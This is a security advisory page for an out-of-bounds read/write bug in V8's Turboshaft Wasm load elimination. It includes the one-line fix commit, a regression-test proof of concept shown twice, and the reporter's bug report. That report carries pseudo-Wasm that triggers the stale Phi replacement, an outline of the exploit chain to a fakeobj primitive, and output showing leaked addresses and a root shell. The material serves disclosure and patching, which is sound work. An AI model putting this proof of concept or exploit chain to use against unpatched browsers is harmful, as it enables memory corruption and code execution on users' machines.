Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read and write in V8
DescriptionOut of bounds read and write in V8
ComponentV8
Bug ClassOOB
Tracker505481948
Fix commitbb38f8914db9 (v8/v8) +110/-0
CISA KEVNot listed
CreditedProject WhatForLunch (@pjwhatforlunch)
Disclosed2026-05-05

Changed Functions

FunctionChangeNotes
if
src/compiler/turboshaft/wasm-load-elimination-reducer.h
modified

Files Changed

  • src/compiler/turboshaft/wasm-load-elimination-reducer.h
  • test/mjsunit/regress/wasm/regress-505481948.js
From bb38f8914db99bd3bed6758132b104a9af00ca04 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <jkummerow@chromium.org>
Date: Thu, 23 Apr 2026 15:49:16 +0200
Subject: [PATCH] [wasm][turboshaft] Fix Phi handling in Wasm Load Elimination

When a Phi is later found to not have all-identical inputs after
all, we must unset its replacement.

Fixed: 505481948
Change-Id: Ic9d405db231f30859f4e0f8831b2db5c76bdd622
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7789282
Auto-Submit: Jakob Kummerow <jkummerow@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Jakob Kummerow <jkummerow@chromium.org>
Cr-Commit-Position: refs/heads/main@{#106779}
---

diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
index 95f6833..a7ccbff 100644
--- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h
+++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
@@ -995,6 +995,8 @@
     }
     if (same_inputs) {
       replacements_[op_idx] = first;
+    } else {
+      replacements_[op_idx] = OpIndex::Invalid();
     }
   }
 }
diff --git a/test/mjsunit/regress/wasm/regress-505481948.js b/test/mjsunit/regress/wasm/regress-505481948.js
new file mode 100644
index 0000000..50acc24c
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-505481948.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --nowasm-loop-unrolling --nowasm-loop-peeling
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js")
+
+const builder = new WasmModuleBuilder();
+
+const arr = builder.addArray(kWasmI32, { final: true });
+const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
+
+const bigLen = 8;
+const smallLen = 1;
+const victimInit = 0x12345678;
+const expandedVictimLen = 0x40;
+
+const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
+const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
+
+builder.addFunction('expand_victim_length', makeSig([], []))
+  .addLocals(wasmRefType(holder), 1)
+  .addLocals(wasmRefType(arr), 3)
+  .addLocals(kWasmI32, 1)
+  .addBody([
+    kExprI32Const, bigLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 1,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 2,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 3,
+
+    kExprLocalGet, 3,
+    kExprI32Const, 0,
+    ...wasmI32Const(victimInit),
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 1,
+    kGCPrefix, kExprStructNew, holder,
+    kExprLocalSet, 0,
+
+    kExprLocalGet, 3,
+    kExprGlobalSet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprGlobalSet, gHolder.index,
+
+    kExprI32Const, 2,
+    kExprLocalSet, 4,
+
+    kExprLoop, kWasmVoid,
+    kExprLocalGet, 4,
+    kExprI32Const, 2,
+    kExprI32Eq,
+    kExprIf, kWasmRef, arr,
+    kExprLocalGet, 1,
+    kExprElse,
+    kExprLocalGet, 0,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kExprEnd,
+    kExprI32Const, 3,
+    kExprI32Const, expandedVictimLen,
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 0,
+    kExprLocalGet, 2,
+    kGCPrefix, kExprStructSet, holder, 0,
+
+    kExprLocalGet, 4,
+    kExprI32Const, 1,
+    kExprI32Sub,
+    kExprLocalTee, 4,
+    kExprBrIf, 0,
+    kExprEnd,
+  ])
+  .exportFunc();
+
+builder.addFunction('victim_write', kSig_v_ii)
+  .addBody([
+    kExprGlobalGet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprLocalGet, 1,
+    kGCPrefix, kExprArraySet, arr,
+  ])
+  .exportFunc();
+
+builder.addFunction('get_holder', kSig_r_v)
+  .addBody([
+    kExprGlobalGet, gHolder.index,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kGCPrefix, kExprExternConvertAny,
+  ])
+  .exportFunc();
+
+const instance = builder.instantiate({});
+const wasm = instance.exports;
+
+assertTraps(kTrapArrayOutOfBounds, () => {
+  wasm.expand_victim_length()
+  let addr = 0x10000001;
+  wasm.victim_write(3, addr);
+  wasm.get_holder();
+});
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/wasm/regress-505481948.js b/test/mjsunit/regress/wasm/regress-505481948.js
new file mode 100644
index 0000000..50acc24c
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-505481948.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --nowasm-loop-unrolling --nowasm-loop-peeling
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js")
+
+const builder = new WasmModuleBuilder();
+
+const arr = builder.addArray(kWasmI32, { final: true });
+const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
+
+const bigLen = 8;
+const smallLen = 1;
+const victimInit = 0x12345678;
+const expandedVictimLen = 0x40;
+
+const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
+const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
+
+builder.addFunction('expand_victim_length', makeSig([], []))
+  .addLocals(wasmRefType(holder), 1)
+  .addLocals(wasmRefType(arr), 3)
+  .addLocals(kWasmI32, 1)
+  .addBody([
+    kExprI32Const, bigLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 1,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 2,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 3,
+
+    kExprLocalGet, 3,
+    kExprI32Const, 0,
+    ...wasmI32Const(victimInit),
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 1,
+    kGCPrefix, kExprStructNew, holder,
+    kExprLocalSet, 0,
+
+    kExprLocalGet, 3,
+    kExprGlobalSet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprGlobalSet, gHolder.index,
+
+    kExprI32Const, 2,
+    kExprLocalSet, 4,
+
+    kExprLoop, kWasmVoid,
+    kExprLocalGet, 4,
+    kExprI32Const, 2,
+    kExprI32Eq,
+    kExprIf, kWasmRef, arr,
+    kExprLocalGet, 1,
+    kExprElse,
+    kExprLocalGet, 0,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kExprEnd,
+    kExprI32Const, 3,
+    kExprI32Const, expandedVictimLen,
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 0,
+    kExprLocalGet, 2,
+    kGCPrefix, kExprStructSet, holder, 0,
+
+    kExprLocalGet, 4,
+    kExprI32Const, 1,
+    kExprI32Sub,
+    kExprLocalTee, 4,
+    kExprBrIf, 0,
+    kExprEnd,
+  ])
+  .exportFunc();
+
+builder.addFunction('victim_write', kSig_v_ii)
+  .addBody([
+    kExprGlobalGet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprLocalGet, 1,
+    kGCPrefix, kExprArraySet, arr,
+  ])
+  .exportFunc();
+
+builder.addFunction('get_holder', kSig_r_v)
+  .addBody([
+    kExprGlobalGet, gHolder.index,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kGCPrefix, kExprExternConvertAny,
+  ])
+  .exportFunc();
+
+const instance = builder.instantiate({});
+const wasm = instance.exports;
+
+assertTraps(kTrapArrayOutOfBounds, () => {
+  wasm.expand_victim_length()
+  let addr = 0x10000001;
+  wasm.victim_write(3, addr);
+  wasm.get_holder();
+});
Loading diff…

Original Bug Report

reported by pj...@gmail.com

Turboshaft: stale `PhiOp` replacement for Wasm arrays causes `array.len` bounds bypass and out-of-bounds array read/write

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

Turboshaft: stale PhiOp replacement for Wasm arrays causes array.len bounds bypass and out-of-bounds array read/write

src/compiler/turboshaft/wasm-load-elimination-reducer.h keeps a stale replacement for PhiOp across loop revisits:

void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
  // ...
  if (inputs.size() > 0) {
    bool same_inputs = true;
    OpIndex first = memory_.ResolveBase(inputs.first());
    for (const OpIndex& input : inputs.SubVectorFrom(1)) {
      if (memory_.ResolveBase(input) != first) {
        same_inputs = false;
        break;
      }
    }
    if (same_inputs) {
      replacements_[op_idx] = first;
    }
  }
}

When all phi inputs currently resolve to the same base, ProcessPhi records replacements_[op_idx] = first. The bug is that it never clears replacements_[op_idx] when a later loop revisit makes same_inputs false. Other handlers in the same reducer do clear stale replacement state on the non-eliminated path. For example, both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:

replacements_[op_idx] = OpIndex::Invalid();

That asymmetry makes phi replacements sticky even after the merged loop state has changed.

We will explain the exploitability in details in next section.

VERSION

V8 Version: 3d73043a08a4fc2234c973646656c9e35245b87f (Wed Apr 22 12:22:48 2026 +0800)

Exploit

We can craft:

  1. A large array big and a small array small.
  2. A mutable struct field initially containing big.
  3. A loop containing an if whose merge result is either big or struct.get holder.field0.
  4. A later struct.set holder.field0 = small on the loop backedge.
  5. An array.len or array.get / array.set on the merged array value in the next iteration.

In pseudo-Wasm:

(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))

(func (param $n i32) (result i32)
  (local $h (ref $holder))
  (local $big (ref $arr))
  (local $small (ref $arr))
  (local $i i32)
  (local $sum i32)

  i32.const 8
  array.new_default $arr
  local.set $big

  i32.const 1
  array.new_default $arr
  local.set $small

  local.get $big
  struct.new $holder
  local.set $h

  local.get $n
  local.set $i

  loop
    local.get $i
    local.get $n
    i32.eq
    if (result (ref $arr))
      local.get $big
    else
      local.get $h
      struct.get $holder 0
    end
    array.len
    local.get $sum
    i32.add
    local.set $sum

    local.get $h
    local.get $small
    struct.set $holder 0

    local.get $i
    i32.const 1
    i32.sub
    local.tee $i
    br_if 0
  end

  local.get $sum)

WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array’s length, and WasmLoadEliminationAnalyzer::ProcessArrayLength later reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...)

  1. Before the loop, holder.field0 is known to be big, so the first-pass StructGet(holder, 0) is eliminated to big.
  2. The if merge phi therefore has inputs (big, big) on the first pass, and ProcessPhi records replacements_[phi] = big.
  3. The backedge StructSet(holder, 0, small) changes the tracked field from big to small, so the loop is revisited.
  4. On the revisit, StructGet(holder, 0) is no longer eliminated from the merged snapshot and ProcessStructGet clears its own replacement.
  5. The phi is now merging (big, StructGet(holder, 0)), so it is no longer equal-input. ProcessPhi leaves the old replacements_[phi] = big intact.
  6. ProcessArrayLength still resolves the phi to big, so array.len keeps returning 8 even on iterations where the runtime array is small and its true length is 1.

With that we can have the initial out-of-bounds access primitive, then we can corrupt the length of an array or simply write to another field to bootstrap fakeobj primitive.

getshell.js is attached.

Note that we inlined the wasm builder for easy reproduction with clusterfuzz

Please scroll down to check the real exploit part

Compile with args.gn:

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

Please run with:

./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js

expected output:

./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3# 

Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.

Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: Arbitrary memory access

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Project WhatForLunch (@pjwhatforlunch)

View on issue tracker